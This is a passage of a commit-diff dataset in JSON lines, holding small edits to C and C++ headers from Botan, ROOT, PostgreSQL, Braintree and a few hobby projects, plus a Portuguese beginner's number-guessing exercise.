scanf(\"%d\", &chute);\n  printf(\"Seu chute foi %d\\n\", chute);\n\n  int acertou = chute == numerosecreto;\n\n  if(acertou) {\n    printf(\"Parabéns! Você acertou!\\n\");\n    printf(\"Jogue de novo, você é um bom jogador!\\n\");\n  } else {\n\n    int maior = chute > numerosecreto;\n\n    if(maior) {\n      printf(\"Seu chute foi maior que o número secreto\\n\");\n    } else {\n      printf(\"Seu chute foi menor que o número secreto\\n\");\n    }\n\n    printf(\"Você errou!\\n\");\n    printf(\"Mas não desanime, tente de novo!\\n\");\n  }\n\n}\n","subject":"Update files, Alura, Introdução a C, Aula 2.3","message":"Update files, Alura, Introdução a C, Aula 2.3\n","lang":"C","license":"mit","repos":"fabriciofmsilva\/labs,fabriciofmsilva\/labs,fabriciofmsilva\/labs,fabriciofmsilva\/labs,fabriciofmsilva\/labs,fabriciofmsilva\/labs,fabriciofmsilva\/labs,fabriciofmsilva\/labs,fabriciofmsilva\/labs,fabriciofmsilva\/labs,fabriciofmsilva\/labs,fabriciofmsilva\/labs,fabriciofmsilva\/labs,fabriciofmsilva\/labs"}
{"commit":"fac6dbb6292944a258dee1b726df16c78c2d0c90","old_file":"src\/lib\/utils\/rounding.h","new_file":"src\/lib\/utils\/rounding.h","old_contents":"\/*\n* Integer Rounding Functions\n* (C) 1999-2007 Jack Lloyd\n*\n* Botan is released under the Simplified BSD License (see license.txt)\n*\/\n\n#ifndef BOTAN_ROUNDING_H_\n#define BOTAN_ROUNDING_H_\n\n#include <botan\/types.h>\n\nnamespace Botan {\n\n\/**\n* Round up\n* @param n a non-negative integer\n* @param align_to the alignment boundary\n* @return n rounded up to a multiple of align_to\n*\/\ninline size_t round_up(size_t n, size_t align_to)\n   {\n   BOTAN_ARG_CHECK(align_to != 0, \"align_to must not be 0\");\n\n   if(n % align_to)\n      n += align_to - (n % align_to);\n   return n;\n   }\n\n\/**\n* Round down\n* @param n an integer\n* @param align_to the alignment boundary\n* @return n rounded down to a multiple of align_to\n*\/\ntemplate<typename T>\ninline constexpr T round_down(T n, T align_to)\n   {\n   return (align_to == 0) ? n : (n - (n % align_to));\n   }\n\n\/**\n* Clamp\n*\/\ninline size_t clamp(size_t n, size_t lower_bound, size_t upper_bound)\n   {\n   if(n < lower_bound)\n      return lower_bound;\n   if(n > upper_bound)\n      return upper_bound;\n   return n;\n   }\n\n}\n\n#endif\n","new_contents":"\/*\n* Integer Rounding Functions\n* (C) 1999-2007 Jack Lloyd\n*\n* Botan is released under the Simplified BSD License (see license.txt)\n*\/\n\n#ifndef BOTAN_ROUNDING_H_\n#define BOTAN_ROUNDING_H_\n\n#include <botan\/types.h>\n\nnamespace Botan {\n\n\/**\n* Round up\n* @param n a non-negative integer\n* @param align_to the alignment boundary\n* @return n rounded up to a multiple of align_to\n*\/\ninline size_t round_up(size_t n, size_t align_to)\n   {\n   BOTAN_ARG_CHECK(align_to != 0, \"align_to must not be 0\");\n\n   if(n % align_to)\n      n += align_to - (n % align_to);\n   return n;\n   }\n\n\/**\n* Round down\n* @param n an integer\n* @param align_to the alignment boundary\n* @return n rounded down to a multiple of align_to\n*\/\ntemplate<typename T>\ninline constexpr T round_down(T n, T align_to)\n   {\n   return (align_to == 0) ? n : (n - (n % align_to));\n   }\n\n}\n\n#endif\n","subject":"Remove clamp, which was unused","message":"Remove clamp, which was unused\n\n(And replaced by the std:: version in C++17 if we did need it)\n","lang":"C","license":"bsd-2-clause","repos":"randombit\/botan,randombit\/botan,randombit\/botan,randombit\/botan,randombit\/botan"}
{"commit":"0e3d9a4ce3640f5935e3f17b043497fdaf305c01","old_file":"Braintree\/3D-Secure\/@Public\/Braintree-3D-Secure.h","new_file":"Braintree\/3D-Secure\/@Public\/Braintree-3D-Secure.h","old_contents":"\/\/ All-in-one import for Braintree 3D Secure\n\n#import <Braintree\/BTThreeDSecure.h>","new_contents":"\/\/ All-in-one import for Braintree 3D Secure\n\n#import <Braintree\/BTThreeDSecure.h>\n","subject":"Add a new line to end of file","message":"Add a new line to end of file\n","lang":"C","license":"mit","repos":"bytemarkinc\/braintree_ios,bytemarkinc\/braintree_ios,Feverup\/braintree_ios,apascual\/braintree_ios,apascual\/braintree_ios,TeachersPayTeachers\/braintree_ios,TeachersPayTeachers\/braintree_ios,billCTG\/braintree_ios,TeachersPayTeachers\/braintree_ios,EverettQuebral\/braintree_ios,Feverup\/braintree_ios,billCTG\/braintree_ios,EverettQuebral\/braintree_ios,Feverup\/braintree_ios,Feverup\/braintree_ios,apascual\/braintree_ios,bytemarkinc\/braintree_ios,braintree\/braintree_ios,bytemarkinc\/braintree_ios,EverettQuebral\/braintree_ios,billCTG\/braintree_ios,billCTG\/braintree_ios,braintree\/braintree_ios,braintree\/braintree_ios,billCTG\/braintree_ios,apascual\/braintree_ios,bytemarkinc\/braintree_ios,TeachersPayTeachers\/braintree_ios,braintree\/braintree_ios,EverettQuebral\/braintree_ios,EverettQuebral\/braintree_ios,TeachersPayTeachers\/braintree_ios"}
{"commit":"ee5bc070ec0ce0f231cd1cf9728d83f80c076ff7","old_file":"CocoaControls\/CocoaControls\/RSCCControlCellView.h","new_file":"CocoaControls\/CocoaControls\/RSCCControlCellView.h","old_contents":"\/\/\n\/\/  RSCCControlCellView.h\n\/\/  CocoaControls\n\/\/\n\/\/  Created by R0CKSTAR on 14-5-5.\n\/\/  Copyright (c) 2014年 P.D.Q. All rights reserved.\n\/\/\n\n#import <Cocoa\/Cocoa.h>\n\nextern int const RSCCControlCellViewImageButtonTagBase;\nextern int const RSCCControlCellViewCocoaPodsButtonTagBase;\nextern int const RSCCControlCellViewCloneButtonTagBase;\n\n@class RSCCControlCellViewBackgroundView;\n\n@interface RSCCControlCellView : NSTableCellView\n\n@property (nonatomic, weak) IBOutlet RSCCControlCellViewBackgroundView *backgroundView;\n\n@property (nonatomic, weak) IBOutlet NSButton *imageButton;\n\n@property (nonatomic, weak) IBOutlet NSTextField *titleField;\n\n@property (nonatomic, weak) IBOutlet NSTextField *dateField;\n\n@property (nonatomic, weak) IBOutlet NSTextField *licenseField;\n\n@property (nonatomic, weak) IBOutlet NSButton *cocoaPodsButton;\n\n@property (nonatomic, weak) IBOutlet NSButton *cloneButton;\n\n@property (nonatomic, weak) IBOutlet NSImageView *star0;\n\n@property (nonatomic, weak) IBOutlet NSImageView *star1;\n\n@property (nonatomic, weak) IBOutlet NSImageView *star2;\n\n@property (nonatomic, weak) IBOutlet NSImageView *star3;\n\n@property (nonatomic, weak) IBOutlet NSImageView *star4;\n\n@property (nonatomic, strong) NSArray *stars;\n\n@end\n","new_contents":"\/\/\n\/\/  RSCCControlCellView.h\n\/\/  CocoaControls\n\/\/\n\/\/  Created by R0CKSTAR on 14-5-5.\n\/\/  Copyright (c) 2014年 P.D.Q. All rights reserved.\n\/\/\n\n#import <Cocoa\/Cocoa.h>\n\nextern int const RSCCControlCellViewImageButtonTagBase;\nextern int const RSCCControlCellViewCocoaPodsButtonTagBase;\nextern int const RSCCControlCellViewCloneButtonTagBase;\n\n@class RSCCControlCellViewBackgroundView;\n\n@interface RSCCControlCellView : NSTableCellView\n\n@property (assign) IBOutlet RSCCControlCellViewBackgroundView *backgroundView;\n\n@property (assign) IBOutlet NSButton *imageButton;\n\n@property (assign) IBOutlet NSTextField *titleField;\n\n@property (assign) IBOutlet NSTextField *dateField;\n\n@property (assign) IBOutlet NSTextField *licenseField;\n\n@property (assign) IBOutlet NSButton *cocoaPodsButton;\n\n@property (assign) IBOutlet NSButton *cloneButton;\n\n@property (assign) IBOutlet NSImageView *star0;\n\n@property (assign) IBOutlet NSImageView *star1;\n\n@property (assign) IBOutlet NSImageView *star2;\n\n@property (assign) IBOutlet NSImageView *star3;\n\n@property (assign) IBOutlet NSImageView *star4;\n\n@property (nonatomic, strong) NSArray *stars;\n\n@end\n","subject":"Change nonatomic, weak to assign for all IBOutlets","message":"Change nonatomic, weak to assign for all IBOutlets\n","lang":"C","license":"mit","repos":"yeahdongcn\/CocoaControlsPlugin"}
{"commit":"fef701f7b0975c523cbe5a2e8e9730328a9f071a","old_file":"core\/base\/inc\/TThreadSlots.h","new_file":"core\/base\/inc\/TThreadSlots.h","old_contents":"\/\/ @(#)root\/thread:$Id$\n\/\/ Author: Philippe Canal   09\/30\/2011\n\n\/*************************************************************************\n * Copyright (C) 1995-2000, Rene Brun and Fons Rademakers.               *\n * All rights reserved.                                                  *\n *                                                                       *\n * For the licensing terms see $ROOTSYS\/LICENSE.                         *\n * For the list of contributors see $ROOTSYS\/README\/CREDITS.             *\n *************************************************************************\/\n\n#ifndef ROOT_TThreadSlots\n#define ROOT_TThreadSlots\n\nnamespace ROOT {\n   \n   enum EThreadSlotReservation {\n      \/\/ Describe the system wide slot pre-allocation in the TThread \n      \/\/ 'special data' storage array ; meant to be used as thread local\n      \/\/ storage.  (See TThread::Tsd)\n      \/\/ \n      \/\/ Slot 0 through 19 can be used for user application\n      \/\/ Slot 20 and above are reserved for the global system\n      kMaxUserThreadSlot   = 20,\n      \n      \/\/ Slot reserved by ROOT's packages.\n      kPadThreadSlot       = 20,\n      kClassThreadSlot     = 21,\n      kDirectoryThreadSlot = 22,\n      kFileThreadSlot      = 23,\n      \n      kMaxThreadSlot       = 24  \/\/ Size of the array of thread local slots in TThread \n   };\n}\n\n#ifndef __CINT__\nR__EXTERN void **(*gThreadTsd)(void*,Int_t);\n#endif\n\n#endif \/\/ ROOT_TThreadSlots","new_contents":"\/\/ @(#)root\/base:$Id$\n\/\/ Author: Philippe Canal   09\/30\/2011\n\n\/*************************************************************************\n * Copyright (C) 1995-2000, Rene Brun and Fons Rademakers.               *\n * All rights reserved.                                                  *\n *                                                                       *\n * For the licensing terms see $ROOTSYS\/LICENSE.                         *\n * For the list of contributors see $ROOTSYS\/README\/CREDITS.             *\n *************************************************************************\/\n\n#ifndef ROOT_TThreadSlots\n#define ROOT_TThreadSlots\n\nnamespace ROOT {\n   \n   enum EThreadSlotReservation {\n      \/\/ Describe the system wide slot pre-allocation in the TThread \n      \/\/ 'special data' storage array ; meant to be used as thread local\n      \/\/ storage.  (See TThread::Tsd)\n      \/\/ \n      \/\/ Slot 0 through 19 can be used for user application\n      \/\/ Slot 20 and above are reserved for the global system\n      kMaxUserThreadSlot   = 20,\n      \n      \/\/ Slot reserved by ROOT's packages.\n      kPadThreadSlot       = 20,\n      kClassThreadSlot     = 21,\n      kDirectoryThreadSlot = 22,\n      kFileThreadSlot      = 23,\n      \n      kMaxThreadSlot       = 24  \/\/ Size of the array of thread local slots in TThread \n   };\n}\n\n#ifndef __CINT__\nR__EXTERN void **(*gThreadTsd)(void*,Int_t);\n#endif\n\n#endif \/\/ ROOT_TThreadSlots\n","subject":"Fix module loc. Add missing final newline.","message":"Fix module loc.\nAdd missing final newline.\n\n\ngit-svn-id: acec3fd5b7ea1eb9e79d6329d318e8118ee2e14f@41534 27541ba8-7e3a-0410-8455-c3a389f83636\n","lang":"C","license":"lgpl-2.1","repos":"esakellari\/my_root_for_test,krafczyk\/root,buuck\/root,sbinet\/cxx-root,vukasinmilosevic\/root,esakellari\/my_root_for_test,sawenzel\/root,Duraznos\/root,gganis\/root,sawenzel\/root,CristinaCristescu\/root,agarciamontoro\/root,esakellari\/my_root_for_test,dfunke\/root,arch1tect0r\/root,davidlt\/root,abhinavmoudgil95\/root,krafczyk\/root,satyarth934\/root,zzxuanyuan\/root,lgiommi\/root,olifre\/root,tc3t\/qoot,arch1tect0r\/root,omazapa\/root,gbitzes\/root,cxx-hep\/root-cern,CristinaCristescu\/root,zzxuanyuan\/root,Y--\/root,Dr15Jones\/root,gganis\/root,vukasinmilosevic\/root,vukasinmilosevic\/root,Duraznos\/root,zzxuanyuan\/root,sbinet\/cxx-root,karies\/root,sawenzel\/root,dfunke\/root,sawenzel\/root,georgtroska\/root,BerserkerTroll\/root,Duraznos\/root,abhinavmoudgil95\/root,buuck\/root,abhinavmoudgil95\/root,cxx-hep\/root-cern,davidlt\/root,bbockelm\/root,thomaskeck\/root,lgiommi\/root,cxx-hep\/root-cern,Duraznos\/root,sirinath\/root,cxx-hep\/root-cern,ffurano\/root5,mattkretz\/root,cxx-hep\/root-cern,omazapa\/root-old,lgiommi\/root,pspe\/root,arch1tect0r\/root,alexschlueter\/cern-root,dfunke\/root,karies\/root,omazapa\/root,georgtroska\/root,veprbl\/root,georgtroska\/root,olifre\/root,root-mirror\/root,esakellari\/my_root_for_test,gbitzes\/root,mattkretz\/root,Dr15Jones\/root,mkret2\/root,sirinath\/root,zzxuanyuan\/root-compressor-dummy,perovic\/root,pspe\/root,pspe\/root,kirbyherm\/root-r-tools,karies\/root,strykejern\/TTreeReader,olifre\/root,kirbyherm\/root-r-tools,esakellari\/root,0x0all\/ROOT,tc3t\/qoot,abhinavmoudgil95\/root,esakellari\/root,BerserkerTroll\/root,nilqed\/root,esakellari\/my_root_for_test,dfunke\/root,alexschlueter\/cern-root,strykejern\/TTreeReader,sirinath\/root,mattkretz\/root,Y--\/root,Y--\/root,pspe\/root,davidlt\/root,smarinac\/root,abhinavmoudgil95\/root,root-mirror\/root,krafczyk\/root,buuck\/root,thomaskeck\/root,agarciamontoro\/root,abhinavmoudgil95\/root,mkret2\/root,simonpf\/root,thomaskeck\/root,buuck\/root,zzxuanyuan\/root-compressor-dummy,mkret2\/root,thomaskeck\/root,jrtomps\/root,pspe\/root,lgiommi\/root,agarciamontoro\/root,jrtomps\/root,jrtomps\/root,veprbl\/root,abhinavmoudgil95\/root,thomaskeck\/root,mhuwiler\/rootauto,perovic\/root,cxx-hep\/root-cern,jrtomps\/root,esakellari\/root,jrtomps\/root,satyarth934\/root,omazapa\/root,arch1tect0r\/root,tc3t\/qoot,georgtroska\/root,veprbl\/root,omazapa\/root,veprbl\/root,gbitzes\/root,zzxuanyuan\/root,sawenzel\/root,arch1tect0r\/root,zzxuanyuan\/root,vukasinmilosevic\/root,nilqed\/root,olifre\/root,bbockelm\/root,Y--\/root,mattkretz\/root,karies\/root,omazapa\/root-old,abhinavmoudgil95\/root,agarciamontoro\/root,evgeny-boger\/root,mkret2\/root,karies\/root,dfunke\/root,strykejern\/TTreeReader,mkret2\/root,kirbyherm\/root-r-tools,sawenzel\/root,sbinet\/cxx-root,BerserkerTroll\/root,perovic\/root,mhuwiler\/rootauto,mkret2\/root,perovic\/root,BerserkerTroll\/root,agarciamontoro\/root,vukasinmilosevic\/root,bbockelm\/root,satyarth934\/root,mattkretz\/root,vukasinmilosevic\/root,perovic\/root,evgeny-boger\/root,satyarth934\/root,evgeny-boger\/root,vukasinmilosevic\/root,Duraznos\/root,sirinath\/root,krafczyk\/root,cxx-hep\/root-cern,sirinath\/root,thomaskeck\/root,kirbyherm\/root-r-tools,satyarth934\/root,mkret2\/root,buuck\/root,georgtroska\/root,satyarth934\/root,simonpf\/root,pspe\/root,zzxuanyuan\/root,davidlt\/root,karies\/root,veprbl\/root,0x0all\/ROOT,davidlt\/root,mhuwiler\/rootauto,mkret2\/root,mattkretz\/root,davidlt\/root,agarciamontoro\/root,esakellari\/root,davidlt\/root,evgeny-boger\/root,omazapa\/root,georgtroska\/root,pspe\/root,omazapa\/root,nilqed\/root,agarciamontoro\/root,mhuwiler\/rootauto,abhinavmoudgil95\/root,zzxuanyuan\/root,sirinath\/root,omazapa\/root,zzxuanyuan\/root,zzxuanyuan\/root-compressor-dummy,Y--\/root,vukasinmilosevic\/root,buuck\/root,omazapa\/root,thomaskeck\/root,perovic\/root,simonpf\/root,beniz\/root,simonpf\/root,tc3t\/qoot,olifre\/root,esakellari\/root,omazapa\/root-old,tc3t\/qoot,mattkretz\/root,root-mirror\/root,gbitzes\/root,gganis\/root,Duraznos\/root,kirbyherm\/root-r-tools,mattkretz\/root,beniz\/root,agarciamontoro\/root,tc3t\/qoot,esakellari\/my_root_for_test,BerserkerTroll\/root,lgiommi\/root,ffurano\/root5,thomaskeck\/root,satyarth934\/root,nilqed\/root,smarinac\/root,smarinac\/root,zzxuanyuan\/root,thomaskeck\/root,smarinac\/root,pspe\/root,ffurano\/root5,gbitzes\/root,georgtroska\/root,esakellari\/my_root_for_test,gbitzes\/root,bbockelm\/root,georgtroska\/root,arch1tect0r\/root,BerserkerTroll\/root,beniz\/root,smarinac\/root,Duraznos\/root,dfunke\/root,arch1tect0r\/root,esakellari\/my_root_for_test,zzxuanyuan\/root,CristinaCristescu\/root,simonpf\/root,sirinath\/root,nilqed\/root,smarinac\/root,veprbl\/root,satyarth934\/root,sbinet\/cxx-root,krafczyk\/root,sirinath\/root,omazapa\/root-old,evgeny-boger\/root,BerserkerTroll\/root,smarinac\/root,evgeny-boger\/root,mhuwiler\/rootauto,bbockelm\/root,omazapa\/root-old,olifre\/root,Y--\/root,Dr15Jones\/root,Duraznos\/root,veprbl\/root,root-mirror\/root,sawenzel\/root,CristinaCristescu\/root,perovic\/root,pspe\/root,davidlt\/root,esakellari\/root,root-mirror\/root,gbitzes\/root,root-mirror\/root,sbinet\/cxx-root,zzxuanyuan\/root-compressor-dummy,simonpf\/root,karies\/root,smarinac\/root,lgiommi\/root,esakellari\/root,olifre\/root,lgiommi\/root,0x0all\/ROOT,Dr15Jones\/root,esakellari\/my_root_for_test,beniz\/root,beniz\/root,dfunke\/root,sbinet\/cxx-root,0x0all\/ROOT,CristinaCristescu\/root,Dr15Jones\/root,evgeny-boger\/root,simonpf\/root,veprbl\/root,bbockelm\/root,veprbl\/root,agarciamontoro\/root,zzxuanyuan\/root-compressor-dummy,gganis\/root,sirinath\/root,mhuwiler\/rootauto,Y--\/root,omazapa\/root-old,satyarth934\/root,alexschlueter\/cern-root,CristinaCristescu\/root,esakellari\/root,gbitzes\/root,jrtomps\/root,omazapa\/root-old,nilqed\/root,0x0all\/ROOT,buuck\/root,simonpf\/root,strykejern\/TTreeReader,Dr15Jones\/root,gbitzes\/root,root-mirror\/root,beniz\/root,BerserkerTroll\/root,beniz\/root,vukasinmilosevic\/root,sawenzel\/root,karies\/root,jrtomps\/root,strykejern\/TTreeReader,gbitzes\/root,nilqed\/root,Y--\/root,Duraznos\/root,krafczyk\/root,ffurano\/root5,simonpf\/root,CristinaCristescu\/root,gganis\/root,veprbl\/root,davidlt\/root,gganis\/root,arch1tect0r\/root,zzxuanyuan\/root,dfunke\/root,sawenzel\/root,sbinet\/cxx-root,0x0all\/ROOT,pspe\/root,omazapa\/root-old,tc3t\/qoot,omazapa\/root-old,smarinac\/root,cxx-hep\/root-cern,sirinath\/root,root-mirror\/root,root-mirror\/root,mhuwiler\/rootauto,ffurano\/root5,alexschlueter\/cern-root,esakellari\/root,mhuwiler\/rootauto,root-mirror\/root,krafczyk\/root,zzxuanyuan\/root,Duraznos\/root,mkret2\/root,karies\/root,olifre\/root,buuck\/root,0x0all\/ROOT,kirbyherm\/root-r-tools,lgiommi\/root,sbinet\/cxx-root,gbitzes\/root,arch1tect0r\/root,sbinet\/cxx-root,omazapa\/root,mattkretz\/root,ffurano\/root5,arch1tect0r\/root,bbockelm\/root,zzxuanyuan\/root-compressor-dummy,olifre\/root,buuck\/root,alexschlueter\/cern-root,jrtomps\/root,karies\/root,esakellari\/my_root_for_test,Y--\/root,mattkretz\/root,georgtroska\/root,nilqed\/root,agarciamontoro\/root,abhinavmoudgil95\/root,nilqed\/root,mattkretz\/root,alexschlueter\/cern-root,strykejern\/TTreeReader,satyarth934\/root,georgtroska\/root,krafczyk\/root,karies\/root,CristinaCristescu\/root,vukasinmilosevic\/root,davidlt\/root,tc3t\/qoot,smarinac\/root,mhuwiler\/rootauto,olifre\/root,perovic\/root,satyarth934\/root,strykejern\/TTreeReader,simonpf\/root,zzxuanyuan\/root-compressor-dummy,jrtomps\/root,gganis\/root,beniz\/root,perovic\/root,Y--\/root,lgiommi\/root,krafczyk\/root,gganis\/root,Dr15Jones\/root,buuck\/root,esakellari\/root,dfunke\/root,alexschlueter\/cern-root,bbockelm\/root,vukasinmilosevic\/root,dfunke\/root,omazapa\/root-old,omazapa\/root,agarciamontoro\/root,evgeny-boger\/root,CristinaCristescu\/root,zzxuanyuan\/root-compressor-dummy,krafczyk\/root,pspe\/root,Duraznos\/root,bbockelm\/root,mhuwiler\/rootauto,sbinet\/cxx-root,beniz\/root,CristinaCristescu\/root,esakellari\/root,krafczyk\/root,evgeny-boger\/root,jrtomps\/root,gganis\/root,zzxuanyuan\/root-compressor-dummy,nilqed\/root,nilqed\/root,dfunke\/root,beniz\/root,jrtomps\/root,perovic\/root,kirbyherm\/root-r-tools,beniz\/root,lgiommi\/root,perovic\/root,evgeny-boger\/root,tc3t\/qoot,abhinavmoudgil95\/root,mkret2\/root,bbockelm\/root,BerserkerTroll\/root,omazapa\/root,Y--\/root,zzxuanyuan\/root-compressor-dummy,buuck\/root,0x0all\/ROOT,0x0all\/ROOT,BerserkerTroll\/root,gganis\/root,CristinaCristescu\/root,zzxuanyuan\/root-compressor-dummy,davidlt\/root,ffurano\/root5,tc3t\/qoot,mkret2\/root,sbinet\/cxx-root,gganis\/root,lgiommi\/root,sirinath\/root,evgeny-boger\/root,georgtroska\/root,root-mirror\/root,arch1tect0r\/root,sawenzel\/root,bbockelm\/root,BerserkerTroll\/root,mhuwiler\/rootauto,thomaskeck\/root,olifre\/root,simonpf\/root,omazapa\/root-old,sawenzel\/root,veprbl\/root"}
{"commit":"37fb2148f2634989191e5770f3a2eabd93d3a3c7","old_file":"lilthumb.h","new_file":"lilthumb.h","old_contents":"#ifndef lilthumb\n#define lilthumb\n\n#include <ctime>\n#include <ostream>\n\nnamespace lilthumb{\n\nstd::string timeString()\n{\n  time_t rawtime;\n  struct tm * timeinfo;\n  char buffer[80];\n\n  time (&rawtime);\n  timeinfo = localtime(&rawtime);\n\n  strftime(buffer,80,\"%d-%m-%Y %I:%M:%S\",timeinfo);\n  std::string str(buffer);\n\n  return str;\n}\n\nvoid stone( std::ostream& stream, std::string message )\n{\n  stream << timeString() << \" | \" << message << std::endl;\n}\n\n}\n\n#endif\n","new_contents":"#ifndef lilthumb\n#define lilthumb\n\n#include <ctime>\n#include <ostream>\n\nnamespace lilthumb{\n\nstd::string timeString()\n{\n  time_t rawtime;\n  struct tm * timeinfo;\n  char buffer[80];\n\n  time (&rawtime);\n  timeinfo = localtime(&rawtime);\n\n  strftime(buffer,80,\"%d-%m-%Y %I:%M:%S\",timeinfo);\n  std::string str(buffer);\n\n  return str;\n}\n\nvoid stone( std::ostream& stream, double* c_array, int n_values = 0 )\n{\n  stream << timeString() << \" | \";\n  if( n_values == 0 )\n  {\n    stream << c_array << std::endl;\n  }\n  else\n  {\n    for( int i = 0; i < n_values - 1; i++ )\n    {\n      stream << c_array[i] << \"\/\";\n    }\n    stream << c_array[n_values - 1] << std::endl;\n  }\n}\n\nvoid stone( std::ostream& stream, std::string message )\n{\n  stream << timeString() << \" | \" << message << std::endl;\n}\n\n}\n\n#endif\n","subject":"Add a n-tuple vector logging function","message":"Add a n-tuple vector logging function\n","lang":"C","license":"apache-2.0","repos":"jeromevelut\/lilthumb"}
{"commit":"b5f6cbbacfbb7a24599912e77c349f4ac1101c8f","old_file":"High_Temp.h","new_file":"High_Temp.h","old_contents":"\/*\n  High_Temp.h\n\n  2014 Copyright (c) Seeed Technology Inc.  All right reserved.\n  \n  Loovee\n  2013-4-14\n\n  This library is free software; you can redistribute it and\/or\n  modify it under the terms of the GNU Lesser General Public\n  License as published by the Free Software Foundation; either\n  version 2.1 of the License, or (at your option) any later version.\n\n  This library is distributed in the hope that it will be useful,\n  but WITHOUT ANY WARRANTY; without even the implied warranty of\n  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n  Lesser General Public License for more details.\n\n  You should have received a copy of the GNU Lesser General Public\n  License along with this library; if not, write to the Free Software\n  Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA  02110-1301  USA\n*\/\n#ifndef __HIGH_TEMP_H__\n#define __HIGH_TEMP_H__\n\nclass HighTemp{\n\npublic:\n\n    HighTemp(int _pinTmp, int _pinThmc);\n    \n    float getRoomTmp();                      \/\/ \n    float getThmc();\n    \n    void begin();\n\nprivate\n    float tempRoom;                         \/\/ room temperature\n    float tempThmc;                         \/\/ thermocouple temperature\n    int pinRoomTmp;                         \/\/ pin of temperature sensor\n    int pinThmc;                            \/\/ pin of thermocouple\n\n\npublic:\n\n    int getAnalog(int pin);\n    float K_VtoT(float mV);                 \/\/ K type thermocouple, mv->oC\n    float getThmcVol();                     \/\/ get voltage of thmc in mV\n};\n\n\n#endif\n","new_contents":"\/*\n  High_Temp.h\n\n  2014 Copyright (c) Seeed Technology Inc.  All right reserved.\n  \n  Loovee\n  2013-4-14\n\n  This library is free software; you can redistribute it and\/or\n  modify it under the terms of the GNU Lesser General Public\n  License as published by the Free Software Foundation; either\n  version 2.1 of the License, or (at your option) any later version.\n\n  This library is distributed in the hope that it will be useful,\n  but WITHOUT ANY WARRANTY; without even the implied warranty of\n  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n  Lesser General Public License for more details.\n\n  You should have received a copy of the GNU Lesser General Public\n  License along with this library; if not, write to the Free Software\n  Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA  02110-1301  USA\n*\/\n#ifndef __HIGH_TEMP_H__\n#define __HIGH_TEMP_H__\n\nclass HighTemp{\n\npublic:\n\n    HighTemp(int _pinTmp, int _pinThmc);\n    \n    float getRoomTmp();                      \/\/ \n    float getThmc();\n    \n    void begin();\n\nprivate:\n    float tempRoom;                         \/\/ room temperature\n    float tempThmc;                         \/\/ thermocouple temperature\n    int pinRoomTmp;                         \/\/ pin of temperature sensor\n    int pinThmc;                            \/\/ pin of thermocouple\n\n\npublic:\n\n    virtual int getAnalog(int pin);\n    float K_VtoT(float mV);                 \/\/ K type thermocouple, mv->oC\n    float getThmcVol();                     \/\/ get voltage of thmc in mV\n};\n\n\n#endif\n","subject":"Add virtual decl to getAnalog to enable overloading","message":"Add virtual decl to getAnalog to enable overloading\n","lang":"C","license":"mit","repos":"mhaas\/Grove_HighTemp_Sensor"}
{"commit":"0c15a524c532c1006a7bd36d3a680f8e8b8db9fc","old_file":"src\/include\/pg_getopt.h","new_file":"src\/include\/pg_getopt.h","old_contents":"\/*\n * Portions Copyright (c) 1987, 1993, 1994\n * The Regents of the University of California.  All rights reserved.\n *\n * Portions Copyright (c) 2003-2014, PostgreSQL Global Development Group\n *\n * src\/include\/pg_getopt.h\n *\/\n#ifndef PG_GETOPT_H\n#define PG_GETOPT_H\n\n\/* POSIX says getopt() is provided by unistd.h *\/\n#include <unistd.h>\n\n\/* rely on the system's getopt.h if present *\/\n#ifdef HAVE_GETOPT_H\n#include <getopt.h>\n#endif\n\n\/*\n * If we have <getopt.h>, assume it declares these variables, else do that\n * ourselves.  (We used to just declare them unconditionally, but Cygwin\n * doesn't like that.)\n *\/\n#ifndef HAVE_GETOPT_H\n\nextern char *optarg;\nextern int\toptind;\nextern int\topterr;\nextern int\toptopt;\n\n#ifdef HAVE_INT_OPTRESET\nextern int\toptreset;\n#endif\n\n#endif   \/* HAVE_GETOPT_H *\/\n\n#ifndef HAVE_GETOPT\nextern int\tgetopt(int nargc, char *const * nargv, const char *ostr);\n#endif\n\n#endif   \/* PG_GETOPT_H *\/\n","new_contents":"\/*\n * Portions Copyright (c) 1987, 1993, 1994\n * The Regents of the University of California.  All rights reserved.\n *\n * Portions Copyright (c) 2003-2014, PostgreSQL Global Development Group\n *\n * src\/include\/pg_getopt.h\n *\/\n#ifndef PG_GETOPT_H\n#define PG_GETOPT_H\n\n\/* POSIX says getopt() is provided by unistd.h *\/\n#include <unistd.h>\n\n\/* rely on the system's getopt.h if present *\/\n#ifdef HAVE_GETOPT_H\n#include <getopt.h>\n#endif\n\n\/*\n * If we have <getopt.h>, assume it declares these variables, else do that\n * ourselves.  (We used to just declare them unconditionally, but Cygwin\n * doesn't like that.)\n *\/\n#ifndef HAVE_GETOPT_H\n\nextern char *optarg;\nextern int\toptind;\nextern int\topterr;\nextern int\toptopt;\n\n#endif   \/* HAVE_GETOPT_H *\/\n\n\/*\n * Some platforms have optreset but not <getopt.h>.  Cygwin, however,\n * doesn't like this either.\n *\/\n#if defined(HAVE_INT_OPTRESET) && !defined(__CYGWIN__)\nextern int\toptreset;\n#endif\n\n#ifndef HAVE_GETOPT\nextern int\tgetopt(int nargc, char *const * nargv, const char *ostr);\n#endif\n\n#endif   \/* PG_GETOPT_H *\/\n","subject":"Allow for platforms that have optreset but not <getopt.h>.","message":"Allow for platforms that have optreset but not <getopt.h>.\n\nReportedly, some versions of mingw are like that, and it seems plausible\nin general that older platforms might be that way.  However, we'd\ndetermined experimentally that just doing \"extern int\" conflicts with\nthe way Cygwin declares these variables, so explicitly exclude Cygwin.\n\nMichael Paquier, tweaked by me to hopefully not break 